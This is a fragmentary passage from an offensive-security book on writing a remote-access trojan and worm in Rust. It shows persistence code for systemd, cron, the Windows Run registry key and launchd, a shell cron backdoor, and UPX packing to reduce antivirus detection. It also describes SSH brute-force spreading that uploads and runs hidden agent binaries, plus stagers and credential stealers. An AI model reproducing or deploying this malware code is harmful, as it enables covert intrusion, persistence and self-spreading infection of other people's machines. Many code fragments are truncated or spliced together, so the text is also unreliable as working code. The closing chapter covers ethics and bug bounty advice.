x86_64 to aarch64 (also known as arm64 ), for example.
In this chapter, we are going to see why and how to cross-compile Rust
programs and how to avoid the painful edge-case of cross-compilation, so
stay with me.
323
Thus, if we want our operations to reach more targets, our RAT needs to
support many of those platforms.
#[cfg(target_os = "linux")]
mod linux;
#[cfg(target_os = "linux")]
pub use linux::install;
#[cfg(target_os = "macos")]
mod macos;
#[cfg(target_os = "macos")]
pub use macos::install;
#[cfg(target_os = "windows")]
324
mod windows;
#[cfg(target_os = "windows")]
pub use windows::install;
Then, in the part of the code that is portable, we can import and use it like
any module.
mod install;
// ...
install::install();
325
You can find the platforms for the other tiers in the official documentation:
https://doc.rust-lang.org/nightly/rustc/platform-support.html.
In practical terms, it means that our RAT is guaranteed to work on Tier 1
platforms without problems (or it will be handled by the Rust teams). For
Tier 2 platforms, you will need to write more tests to be sure that everything
work as intended.
16.4 Cross-compilation
Error: Toolchain / Library XX not found. Aborting compilation.
How many times did you get this kind of message when trying to follow the
build instructions of a project or cross-compile it?
What if, instead of writing wonky documentation, we could consign the build
instructions into an immutable recipe that would guarantee us a successful
build 100% of the time?
This is where Docker comes into play:
Immutability: The Dockerfile are our immutable recipes, and docker
would be our robot, flawlessly executing the recipes all days of the year.
Cross-platform: Docker is itself available on the 3 major OSes (Linux,
Windows and macOS). Thus, we not only enable a teams of several developers
using different machines to work together, but we also greatly simplify our
toolchains. By using Docker, we are finally reducing our problem to compiling
from Linux to other platforms, instead of: - From Linux to other platforms -
From Windows to other platforms - From macOS to other platforms - …
16.5 cross
The Tools team develops and maintains a project named cross which allow
you to easily cross-compile Rust projects using Docker, without messing with
custom Dockerfiles.
It can be installed like that:
$ cargo install -f cross
326
cross work by using pre-made Dockerfiles, but they are maintained by the
Tools team, not you, so they take care of everything.
The list of targets supported is impressive. As I’m writing this, here is the
list of supported platforms: https://github.com/rust-embedded/cross/tree/
master/docker
Dockerfile.aarch64-linux-android
Dockerfile.aarch64-unknown-linux-gnu
Dockerfile.aarch64-unknown-linux-musl
Dockerfile.arm-linux-androideabi
Dockerfile.arm-unknown-linux-gnueabi
Dockerfile.arm-unknown-linux-gnueabihf
Dockerfile.arm-unknown-linux-musleabi
Dockerfile.arm-unknown-linux-musleabihf
Dockerfile.armv5te-unknown-linux-gnueabi
Dockerfile.armv5te-unknown-linux-musleabi
Dockerfile.armv7-linux-androideabi
Dockerfile.armv7-unknown-linux-gnueabihf
Dockerfile.armv7-unknown-linux-musleabihf
Dockerfile.asmjs-unknown-emscripten
Dockerfile.i586-unknown-linux-gnu
Dockerfile.i586-unknown-linux-musl
Dockerfile.i686-linux-android
Dockerfile.i686-pc-windows-gnu
Dockerfile.i686-unknown-freebsd
Dockerfile.i686-unknown-linux-gnu
Dockerfile.i686-unknown-linux-musl
Dockerfile.mips-unknown-linux-gnu
Dockerfile.mips-unknown-linux-musl
Dockerfile.mips64-unknown-linux-gnuabi64
Dockerfile.mips64el-unknown-linux-gnuabi64
Dockerfile.mipsel-unknown-linux-gnu
Dockerfile.mipsel-unknown-linux-musl
Dockerfile.powerpc-unknown-linux-gnu
Dockerfile.powerpc64-unknown-linux-gnu
Dockerfile.powerpc64le-unknown-linux-gnu
Dockerfile.riscv64gc-unknown-linux-gnu
Dockerfile.s390x-unknown-linux-gnu
327
Dockerfile.sparc64-unknown-linux-gnu
Dockerfile.sparcv9-sun-solaris
Dockerfile.thumbv6m-none-eabi
Dockerfile.thumbv7em-none-eabi
Dockerfile.thumbv7em-none-eabihf
Dockerfile.thumbv7m-none-eabi
Dockerfile.wasm32-unknown-emscripten
Dockerfile.x86_64-linux-android
Dockerfile.x86_64-pc-windows-gnu
Dockerfile.x86_64-sun-solaris
Dockerfile.x86_64-unknown-freebsd
Dockerfile.x86_64-unknown-linux-gnu
Dockerfile.x86_64-unknown-linux-musl
Dockerfile.x86_64-unknown-netbsd
328
Create a Cross.toml file in the root of your project (where your
Cargo.toml file is), with the following content:
[target.x86_64-pc-windows-gnu]
image = "my_image:tag"
We can also completely forget cross and build our own Dockerfiles .
Here is how.
WORKDIR /app
WORKDIR /app
329
ENV CARGO_TARGET_AARCH64_UNKNOWN_LINUX_GNU_LINKER=aarch64-linux-gnu-gcc \
CC_aarch64_unknown_linux_gnu=aarch64-linux-gnu-gcc \
CXX_aarch64_unknown_linux_gnu=aarch64-linux-gnu-g++
WORKDIR /app
ENV CARGO_TARGET_ARMV7_UNKNOWN_LINUX_GNUEABIHF_LINKER=arm-linux-gnueabihf-gcc \
CC_armv7_unknown_linux_gnueabihf=arm-linux-gnueabihf-gcc \
CXX_armv7_unknown_linux_gnueabihf=arm-linux-gnueabihf-g++
330
16.9 Packers
A packer will wrap an existing program and compress and / or encrypt it.
For that, it takes our executables as input, then: - compress and / or encrypt
it - prepend a stub - append the modified executable - set the stub as the
entrypoint of the final program
During runtime, the stub will decrypt/decompress the original ex-
ecutable and load it in memory. Thus, our original will only live
decrypted/decompressed in the memory of the Host system. It helps to
reduce the chances of detection.
The simplest and most famous packer is upx . Its principal purpose is to
reduce the size of executables.
$ sudo apt install -y upx
$ upx -9 <my executable>
As it’s very well known, almost all anti-virus know how to circumvent it, so
don’t expect it to fool any modern anti-virus or serious analyst.
331
16.10 Persistence
Computers, smartphones, and servers are sometimes restarted.
This is why we need a way to persist and relaunch the RAT when our targets
restart.
This is when persistence techniques come into play. As persistence techniques
are absolutely not cross-platform, they make the perfect use-case for cross-
platform Rust.
A persisten RAT is also known as a backdoor, as it allows its operators to
“come back later by the back door”.
Note that persistence may not be wanted if you do not want to leave traces
on the infected systems.
[Service]
Type=simple
ExecStart={}
Restart=always
RestartSec=1
[Install]
WantedBy=multi-user.target
Alias=ch12agent.service",
executable.display()
);
fs::write(SYSTEMD_SERVICE_FILE, systemd_file_content)?;
Command::new("systemctl")
.arg("enable")
332
.arg("ch12agent")
.output()?;
Ok(())
}
Unfortunately, creating a systemd entry requires most of the time root priv-
ileges, so in may not be possible everywhere.
The second simplest and most effective technique to backdoor a Linux system
and which does not require elevated privileges is by creating a cron entry.
In shell, it can be achieved like that:
# First, we dump all the existing entries in a file
$ crontab -l > /tmp/cron
# we append our own entry to the file
$ echo "* * * * * /path/to/our/rat" >> /tmp/cron
# And we load it
$ crontab /tmp/cron
$ rm -rf /tmp/cron
Every minute, crond (the cron daemon) will try ot load our RAT.
It can be ported to Rust like that:
fn install_crontab(executable: &PathBuf) -> Result<(), crate::Error> {
let cron_expression = format!("* * * * * {}\n", executable.display());
let mut crontab_file = config::get_agent_directory()?;
crontab_file.push("crontab");
333
fs::write(&crontab_file, &new_tasks)?;
Command::new("crontab")
.arg(crontab_file.display().to_string())
.output()?;
let _ = fs::remove_file(crontab_file);
Ok(())
}
Finally, by trying all our persistences techniques each one after the other, we
increase our chances of success.
pub fn install() -> Result<(), crate::Error> {
let executable_path = super::copy_executable()?;
Ok(())
}
334
fn install_registry_user_run(executable: &PathBuf) -> Result<(), crate::Error> {
let hkcu = RegKey::predef(HKEY_CURRENT_USER);
let path = Path::new("Software")
.join("Microsoft")
.join("Windows")
.join("CurrentVersion")
.join("Run");
let (key, disp) = hkcu.create_subkey(&path).unwrap();
key.set_value("BhrAgentCh12", &executable.display().to_string())
.unwrap();
Ok(())
}
Ok(())
}
335
<key>ProgramArguments</key>
<array>
<string>{}</string>
</array>
<key>RunAtLoad</key>
<true/>
</dict>
</plist>"#, executable.display());
fs::write(&launchd_file, launchd_file_content)?;
Command::new("launchctl")
.arg("load")
.arg(launchd_file.display().to_string())
.output()?;
Ok(())
}
Ok(())
}
336
16.11 Single instance
The problem with persistence is that sometimes it launch multiple instances
of your RAT in parallel. For example, crond is instructed to execute our
program every minute and our programm is design to run for more than oe
minute.
As it would lead to weird bugs and unpredictable behavior, it’s not desirable,
so we must ensure that at any given moment in time, only one instance of
our RAT is running on an host system.
For that, we can use the single-instance crate.
Beware that the techniques used to assert that only a single instance of your
program is running may reveal its presence.
ch_12/rat/agent/src/main.rs
fn main() -> Result<(), Box<dyn std::error::Error>> {
let instance = SingleInstance::new(config::SINGLE_INSTANCE_IDENTIFIER).unwrap();
if !instance.is_single() {
return Ok(());
}
// ...
}
16.13 Summary
• Cross-compilation with Docker brings reproducible builds and allevi-
ates a lot of pain.
• Use cross in priority to cross-compile your Rust projects.
337
Chapter 17
Now we have a working RAT that can persist on infected machines, it’s time
to infect more targets.
338
Figure 17.1: Worm
The second way is for broad, indiscriminate attacks. Beware that this im-
plementation is completely illegal and may cause great harm if it reaches
sensitive infrastructure such as hospitals during a global pandemic. It will
end you in jail quickly.
339
For example, on an infected server, the RAT could look at ~/.ssh/config
and ~/.ssh/known_hosts to find other machines that may be accessible
from the current server and use the private keys in the ~/.ssh folder to
spread.
340
The simplest way to achieve this is by typo-squatting (see chapter 9) famous
packages.
341
Figure 17.2: Cross-platform worm
Either it uses a central server to store the bundle of all the compiled versions
of itself, then when infecting new machine downloads this bundle.
Or, it can carry the bundle of all the compiled versions along, from an infected
host to another. This method is a little bit harder to achieve, depending of
the spreading technique, but as it does not rely on a central server, is more
stealthy and resilient.
342
those registries and the law they have to obey, they may block some countries.
But, it has the disadvantage of significantly increasing the size of your code
repository by many Megabytes.
An alternative is to use a private registry, but it comes with a lot of mainte-
nance and is rarely a good solution.
343
.PHONY: bundle
bundle: x86_64 aarch64
rm -rf bundle.zip
zip -j bundle.zip target/agent.linux_x86_64 target/agent.linux_aarch64
.PHONY: x86_64
x86_64:
cross build -p agent --release --target x86_64-unknown-linux-musl
upx -9 target/x86_64-unknown-linux-musl/release/agent
mv target/x86_64-unknown-linux-musl/release/agent target/agent.linux_x86_64
.PHONY: aarch64
aarch64:
cross build -p agent --release --target aarch64-unknown-linux-musl
upx -9 target/aarch64-unknown-linux-musl/release/agent
mv target/aarch64-unknown-linux-musl/release/agent target/agent.linux_aarch64
17.7 Install
In the previous chapter, we saw how to persist across different OSes.
Now we need to add a step in our installation step: the extraction of the
bundle.zip file.
ch_13/rat/agent/src/install.rs
pub fn install() -> Result<PathBuf, crate::Error> {
let install_dir = config::get_agent_directory()?;
let install_target = config::get_agent_install_target()?;
if !install_target.exists() {
println!("Installing into {}", install_dir.display());
let current_exe = env::current_exe()?;
fs::create_dir_all(&install_dir)?;
344
fs::copy(current_exe, &install_target)?;
extract_bundle(install_dir.clone(), bundle)?;
} else {
println!("bundle.zip NOT found");
}
}
Ok(install_dir)
}
fs::copy(&bundle, &dist_bundle)?;
for i in 0..zip_archive.len() {
let mut archive_file = zip_archive.by_index(i)?;
let dist_filename = match archive_file.enclosed_name() {
Some(path) => path.to_owned(),
None => continue,
};
let mut dist_path = install_dir.clone();
dist_path.push(dist_filename);
Ok(())
}
345
remote server instead of simply having it available on the filesystem.
17.8 Spreading
17.8.1 Bruteforce
Then comes the SSH bruteforce. For that, we need a wordlist.
While a smarter way to bruteforce a service is to use predefined (
(username, password) pairs known to be used by some vendors, here we
will try the most used password for each usernames/
ch_13/rat/agent/src/wordlist.rs
pub static USERNAMES: &'static [&str] = &["root"];
return Ok(None);
}
346
#[derive(Debug, Clone, Copy)]
enum Platform {
LinuxX86_64,
LinuxAarch64,
MacOsX86_64,
MacOsAarch64,
Unknown,
}
if stdout.contains("Linux") {
if stdout.contains("x86_64") {
return Ok(Platform::LinuxX86_64);
} else if stdout.contains("aarch64") {
return Ok(Platform::LinuxAarch64);
} else {
return Ok(Platform::Unknown);
}
} else if stdout.contains("Darwin") {
if stdout.contains("x86_64") {
return Ok(Platform::MacOsX86_64);
} else if stdout.contains("aarch64") {
return Ok(Platform::MacOsAarch64);
} else {
return Ok(Platform::Unknown);
}
} else {
347
return Ok(Platform::Unknown);
}
}
17.8.3 Upload
With scp we can upload a file through SSH connexion without problems.
fn upload_agent(ssh: &Session, agent_path: &PathBuf) -> Result<String, crate::Error> {
let rand_name: String = thread_rng()
.sample_iter(&Alphanumeric)
.take(32)
.map(char::from)
.collect();
let hidden_rand_name = format!(".{}", rand_name);
Ok(remote_path.display().to_string())
}
17.8.4 Installation
fn execute_remote_agent(ssh: &Session, remote_path: &str) -> Result<(), crate::Error> {
let mut channel_exec = ssh.channel_session()?;
channel_exec.exec(&remote_path)?;
let _ = consume_stdio(&mut channel_exec);
Ok(())
}
348
let mut ssh = Session::new()?;
ssh.set_tcp_stream(tcp);
ssh.handshake()?;
execute_remote_agent(&ssh, &remote_path)?;
println!("Agent successfully executed on remote host �");
Ok(())
}
349
17.9.1 Auto update
Like all software our RAT will evolve over time and will need to be updated.
This is where an auto-update mechanism comes handy. Basically, the RAT
will periodically check if a new version is available, and update itself if nec-
essary.
When implementing such a mechanism, don’t forget to sign your updates
with your private key (See chapter 12). Otherwise, an attacker could take
over your agents by spreading a compromised update.
350
your RAT is to search for Strings. (for example, with the strings Unix
tool).
It’s possible to do that with Rust’s macros sytem and / or crates usch as
obfstr or litcrypt/
17.9.7 Proxy
Once in a network, you may want to pivot into other networks. For that,
you may need a proxy module to pivot and forward traffic from one network
to another one, if you can’t access that second network.
351
17.9.8 Stagers
Until now, we built our RAT as a single executable. When developing more
advanced RATs, you may want to split the actual executable and the payload
into what is called a stager, and the RAT becomes a library.
With this technique, the RAT that is now a library can live encrypted on
disk. On execution, the stager will decrypt it in memory and load it. Thus,
the actual RAT will live decrypted only in memory.
It has the advantage of leaving way fewer evidences on the infected systems.
352
17.9.10 Stealing credentials
Of course, a RAT is not limited to remote commands execution. The second
most useful feature you may want to implement is a credentials stealer.
You will have no problem finding inspiration on GitHub: https://github.c
om/search?q=chrome+stealer.
17.10 Summary
• A worm is a piece of software that can replicate itself in order to spread
to other machines.
• Thanks to Rust’s library system, it’s very easy to create reusable mod-
ules.
• Any Remote Code Execution vulnerability on a networked service can
be used by a worm to quickly spread.
353
Chapter 18
Conclusion
By now, I hope to have convinced you that due to its safety, reliability, and
polyvalence, Rust is THE language that will re-shape (offensive security)
programming.
I also hope that with all the applied knowledge you read in this book you
are now ready to get things done.
Now it’s YOUR turn.
354
One of the goal of this book was to prove that we can create complex pro-
grams without using them. Actually, when you avoid lifetime, Rust is lot
easier to read and understand, even by non initiates. It looks very similar to
TypeScript, and suddenly and lot more people are able to understand your
code.
18.1.2 Macros
I don’t like macros either. Don’t get me wrong, sometime they provide
awesome usability improvements such as println! , log::info! , or
#[derive(Deserialize, Serialize)] . But I believe that most of the
time they try to dissimulate complexity that should be first cut down.
Ok, Ok if you insist we will still see a little bit how to create macros.
Coming soon
18.1.3 Embedded
Really cool stuff can be found on the internet about how to use microcon-
trollers to create hacking devices, such as on hackaday, mg.lol and hack5. I
believe Rust has a bright future in these areas, but, unfortunately, I have
never done any embedded development myself so this topic didn’t have its
place in this book.
If you want to learn more, Ferrous Systems’ blog contains a lot of content
about using Rust for embedded systems.
18.1.4 Ethics
Ethics is a complex topic debated since the first philosophers and is highly
dependent of the culture, so I have nothing new to bring to the table. That
being said, “With great power comes great responsibility” and building a
cyber-arsenal can have real consequences on civil population. For example:
https://citizenlab.ca/2020/12/the-great-ipwn-journalists-hacked-with-
suspected-nso-group-imessage-zero-click-exploit/ and https://citizenlab.ca/
2016/08/million-dollar-dissident-iphone-zero-day-nso-group-uae/.
Also, I believe that in a few years, attacks such as ransomware targeting crit-
ical infrastructure (energy, health centres…) will be treated by states as ter-
355
rorism, so it’s better not to have anything to do with those kind of criminals,
unlike this 55-year-old Latvian woman, self-employed web site designer and
mother of two, who’s alleged to have worked as a programmer for a malware-
as-a-service platform, and subsequently arrested by the U.S. Department of
Justice.
356
18.3 Leaked repositories
Coming soon
357
Now there is 2 paths to get started: - Build your own scanner and sell it as
a service - Build your own scanner and start hunting vulnerabilities in bug
bounty programs - Build your own RAT and find a way to monetize it
358
If you are less lucky, you may quickly find vulnerabilities, or manually, then
spend time writing the report, all that for your report being dismissed as
non-receivable. Whether it be a duplicate, or, not appreciated as serious
enough to deserve monetary reward.
This is the dark side of bug bounties.
I recommend you to only participate in bug bounty programs of-
fering monetary rewards. Those are often the most serious people, and
your time is too precious to be exploited.
Engineers are often afraid to ask for money, but you should not. People
are making money off your skills, you are in your own right to claim your
piece of the cake!
359
and many more. Once bitten, twice shy. I didn’t report these new vulner-
abilities, because again, it seemed not worth the time, energy and mental
health to deal with that.
All of that to say: bug bounty programs are great, but don’t lose time with
companies not listed on public bug bounty platforms, there is no account-
ability and you will just burn time and energy (and become crazy in front of
the indifference while you kindly help them secure their systems).
Still, if you find vulnerabilities on a company’s systems and want to help
them, because you are on a good day, don’t contact them asking for
money first! It could be seen as extorsion, and in today’s ambience with
all the ransomware, it could bring you big problems.
First send the detailed report about the vulnerabilities, how to fix them, and
only then, maybe, ask if they offer bounties.
Unfortunately, not everyone understand that if we (as a society) don’t reward
the good guys for finding bugs, then only the bad guys will be incentived to
find and exploit those bugs.
Here is another story of a bug hunter who found a critical vulnerability in a
blockchain-related project and then have been totally ghosted when came the
time to be paid: https://twitter.com/danielvf/status/1446344532380037122.
360
the low hanging fruits such as subdomain takeovers and other configuration
bugs. This strategy may not be the best if you want to make a primary
income out of it. That being said, with a little bit of luck, you could quickly
make afew thousand dollars this way.
361
18.7 Social media
I’m not active on social networks because they are too noisy and time-sucking,
by design.
Every week I share updates about my projects and everything I learn about
how to (ab)use technology for fun & profit: Programming, Hacking & En-
trepreneurship in my newsletter. You can subscribe by Email, Matrix or
RSS: https://kerkour.com/follow.
18.9 Feedback
You bought the book and are annoyed by something? Please tell me, and I
will do my best to improve it!
You can contact me by email: [email protected] or matrix: @syl-
vain:kerkour.com
362